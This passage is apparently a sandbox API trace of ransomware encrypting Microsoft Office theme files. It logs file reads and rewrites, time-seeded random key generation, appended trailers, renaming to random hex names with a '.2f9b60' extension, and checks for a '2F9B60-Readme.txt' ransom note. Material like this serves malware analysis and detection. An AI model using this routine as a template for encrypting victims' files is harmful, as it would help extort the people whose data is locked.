SourceString="816e8390af7fe87cf8308ea3ce329e244e4970877b9a", AllocateDestinationString=1 | out: DestinationString="816e8390af7fe87cf8308ea3ce329e244e4970877b9a") returned 0x0 [0095.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86edb0 [0095.000] wcscat (in: _Dest=0x107a80, _Source="816e8390af7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7" [0095.000] wcscat (in: _Dest=0x107a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7.2f9b60" [0095.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7.2f9b60", NtPathName=0x2801fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\816e8390af7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1183a0 [0095.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0095.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf491c0) returned 1 [0095.207] NtQueryInformationFile (in: FileHandle=0xe14, IoStatusBlock=0x2801fb38, FileInformation=0x2801fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2801fb38, FileInformation=0x2801fb48) returned 0x0 [0095.207] NtSetInformationFile (FileHandle=0xe14, IoStatusBlock=0x2801fb38, FileInformation=0x2801fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0095.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0095.919] FlushFileBuffers (hFile=0xe14) returned 1 [0095.922] CloseHandle (hObject=0xe14) returned 1 [0095.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107b40 [0095.923] wcscpy (in: _Dest=0x107b40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0095.923] wcscat (in: _Dest=0x107b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0095.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0095.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0095.923] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 Thread: id = 586 os_tid = 0x100c [0094.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml")) returned 0x20 [0095.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml", dwFileAttributes=0x20) returned 1 [0095.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe18 [0095.023] GetFileSizeEx (in: hFile=0xe18, lpFileSize=0x1ed7f780 | out: lpFileSize=0x1ed7f780*=964) returned 1 [0095.023] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.023] ReadFile (in: hFile=0xe18, lpBuffer=0x1ed7f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ed7f748, lpOverlapped=0x0 | out: lpBuffer=0x1ed7f700*, lpNumberOfBytesRead=0x1ed7f748*=0x4, lpOverlapped=0x0) returned 1 [0095.042] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0095.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0095.042] NtQuerySystemTime (in: CurrentTime=0x1ed7f640 | out: CurrentTime=0x1ed7f640*=132462177008770000) returned 0x0 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x2f8d230a [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x66f8568 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x7abc1dcb [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x27dc1ec [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x19e3f392 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x4a0ed906 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x5a085bcf [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x76fb1cf [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x71ce460c [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x7d630bd4 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x343006d6 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0xb5604b0 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0xaa152f6 [0095.042] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x3d86c411 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x1c4ab7c4 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x5e902a1b [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x791a1442 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x5ec5e76c [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x3abb3d76 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x547a3afe [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x29874398 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x25af7b7d [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x91bffbf [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x6b70c730 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x386c3e42 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0xc289e73 [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x267f25dd [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0xf1e50f [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x3b93f30c [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x5a24b8aa [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x729436db [0095.043] RtlRandomEx (in: Seed=0x1ed7f630 | out: Seed=0x1ed7f630) returned 0x6d400056 [0095.057] ReadFile (in: hFile=0xe18, lpBuffer=0x2020c1b0, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x1ed7f630, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesRead=0x1ed7f630*=0x3c4, lpOverlapped=0x0) returned 1 [0095.057] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.057] WriteFile (in: hFile=0xe18, lpBuffer=0x201c85a0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x1ed7f634, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesWritten=0x1ed7f634*=0x3c4, lpOverlapped=0x0) returned 1 [0095.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0095.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0095.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0095.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0095.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0095.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0095.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0095.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85fcd0 [0095.282] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.282] WriteFile (in: hFile=0xe18, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1ed7f750, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1ed7f750*=0x10c, lpOverlapped=0x0) returned 1 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced7e60 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0095.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0095.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0095.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0095.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f0f0 [0095.600] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="4d") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="63") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="5a") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="42") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="4e") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="7c") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="83") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="39") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="e6") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="66") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="50") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="93") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f108, _Format="%c%c" | out: _Dest="a6") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f10a, _Format="%c%c" | out: _Dest="38") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f10c, _Format="%c%c" | out: _Dest="ac") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f10e, _Format="%c%c" | out: _Dest="75") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f110, _Format="%c%c" | out: _Dest="d3") returned 2 [0095.600] sprintf (in: _Dest=0x1cd9f112, _Format="%c%c" | out: _Dest="9b") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f114, _Format="%c%c" | out: _Dest="c4") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f116, _Format="%c%c" | out: _Dest="7b") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f118, _Format="%c%c" | out: _Dest="f1") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f11a, _Format="%c%c" | out: _Dest="3e") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f11c, _Format="%c%c" | out: _Dest="6a") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f11e, _Format="%c%c" | out: _Dest="68") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f120, _Format="%c%c" | out: _Dest="5c") returned 2 [0095.601] sprintf (in: _Dest=0x1cd9f122, _Format="%c%c" | out: _Dest="92") returned 2 [0095.601] RtlInitAnsiString (in: DestinationString=0x1ed7f7c8, SourceString="4d635a424e7c8339e6665093a638ac75d39bc47bf13e6a685c92" | out: DestinationString="4d635a424e7c8339e6665093a638ac75d39bc47bf13e6a685c92") [0095.601] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ed7f798, SourceString="4d635a424e7c8339e6665093a638ac75d39bc47bf13e6a685c92", AllocateDestinationString=1 | out: DestinationString="4d635a424e7c8339e6665093a638ac75d39bc47bf13e6a685c92") returned 0x0 [0095.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867240 [0095.601] wcscat (in: _Dest=0x1079c0, _Source="4d635a424e7c8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8" [0095.601] wcscat (in: _Dest=0x1079c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8.2f9b60" [0095.601] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8.2f9b60", NtPathName=0x1ed7f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\4d635a424e7c8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776690 [0107.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0107.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0107.371] NtQueryInformationFile (in: FileHandle=0xe18, IoStatusBlock=0x1ed7f7d8, FileInformation=0x1ed7f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ed7f7d8, FileInformation=0x1ed7f7e8) returned 0x0 [0107.371] NtSetInformationFile (FileHandle=0xe18, IoStatusBlock=0x1ed7f7d8, FileInformation=0x1ed7f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867240) returned 1 [0107.373] FlushFileBuffers (hFile=0xe18) returned 1 [0107.484] CloseHandle (hObject=0xe18) returned 1 [0107.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0107.495] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.495] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0107.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a6200) returned 1 Thread: id = 587 os_tid = 0x1010 [0094.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml")) returned 0x20 [0095.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml", dwFileAttributes=0x20) returned 1 [0095.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe00 [0095.021] GetFileSizeEx (in: hFile=0xe00, lpFileSize=0x280ffd20 | out: lpFileSize=0x280ffd20*=964) returned 1 [0095.021] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.021] ReadFile (in: hFile=0xe00, lpBuffer=0x280ffca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280ffce8, lpOverlapped=0x0 | out: lpBuffer=0x280ffca0*, lpNumberOfBytesRead=0x280ffce8*=0x4, lpOverlapped=0x0) returned 1 [0095.027] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0095.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0095.027] NtQuerySystemTime (in: CurrentTime=0x280ffbe0 | out: CurrentTime=0x280ffbe0*=132462177008614000) returned 0x0 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x74302c55 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x1679bc08 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x510bbb16 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x296b03c3 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x46c2a73b [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x20c86db8 [0095.027] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x2524dbac [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x3290fc18 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x46f9036f [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0xcf820b6 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x2380c898 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x3694ee02 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x6503d94 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x4008f24a [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x207d8b18 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x3225eafa [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x6e38644d [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0xc450372 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x7194244d [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x7a21fc47 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x36ea9f82 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x5cd3e26a [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x2f092aca [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0xf3190c5 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x5c080454 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x441d3e0e [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x4464b16e [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x4db75555 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x272972b2 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x4b6371b5 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0xcc8ab58 [0095.028] RtlRandomEx (in: Seed=0x280ffbd0 | out: Seed=0x280ffbd0) returned 0x4db2f30 [0095.038] ReadFile (in: hFile=0xe00, lpBuffer=0x20204990, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x280ffbd0, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesRead=0x280ffbd0*=0x3c4, lpOverlapped=0x0) returned 1 [0095.038] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.038] WriteFile (in: hFile=0xe00, lpBuffer=0x202085a0*, nNumberOfBytesToWrite=0x3c4, lpNumberOfBytesWritten=0x280ffbd4, lpOverlapped=0x0 | out: lpBuffer=0x202085a0*, lpNumberOfBytesWritten=0x280ffbd4*=0x3c4, lpOverlapped=0x0) returned 1 [0095.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0095.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d10 [0095.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d10) returned 1 [0095.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202085a0) returned 1 [0095.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0095.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0095.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7d10 [0095.318] SetFilePointerEx (in: hFile=0xe00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.318] WriteFile (in: hFile=0xe00, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x280ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x280ffcf0*=0x10c, lpOverlapped=0x0) returned 1 [0095.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0095.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0095.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85f820 [0095.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0095.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0095.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0095.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0095.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f0f0 [0095.610] sprintf (in: _Dest=0x1cd9f0f0, _Format="%c%c" | out: _Dest="04") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0f2, _Format="%c%c" | out: _Dest="6a") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0f4, _Format="%c%c" | out: _Dest="c1") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0f6, _Format="%c%c" | out: _Dest="78") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0f8, _Format="%c%c" | out: _Dest="34") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0fa, _Format="%c%c" | out: _Dest="d2") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0fc, _Format="%c%c" | out: _Dest="26") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f0fe, _Format="%c%c" | out: _Dest="75") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f100, _Format="%c%c" | out: _Dest="a1") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f102, _Format="%c%c" | out: _Dest="f4") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f104, _Format="%c%c" | out: _Dest="0f") returned 2 [0095.610] sprintf (in: _Dest=0x1cd9f106, _Format="%c%c" | out: _Dest="c3") returned 2 [0095.610] sprintf (in: 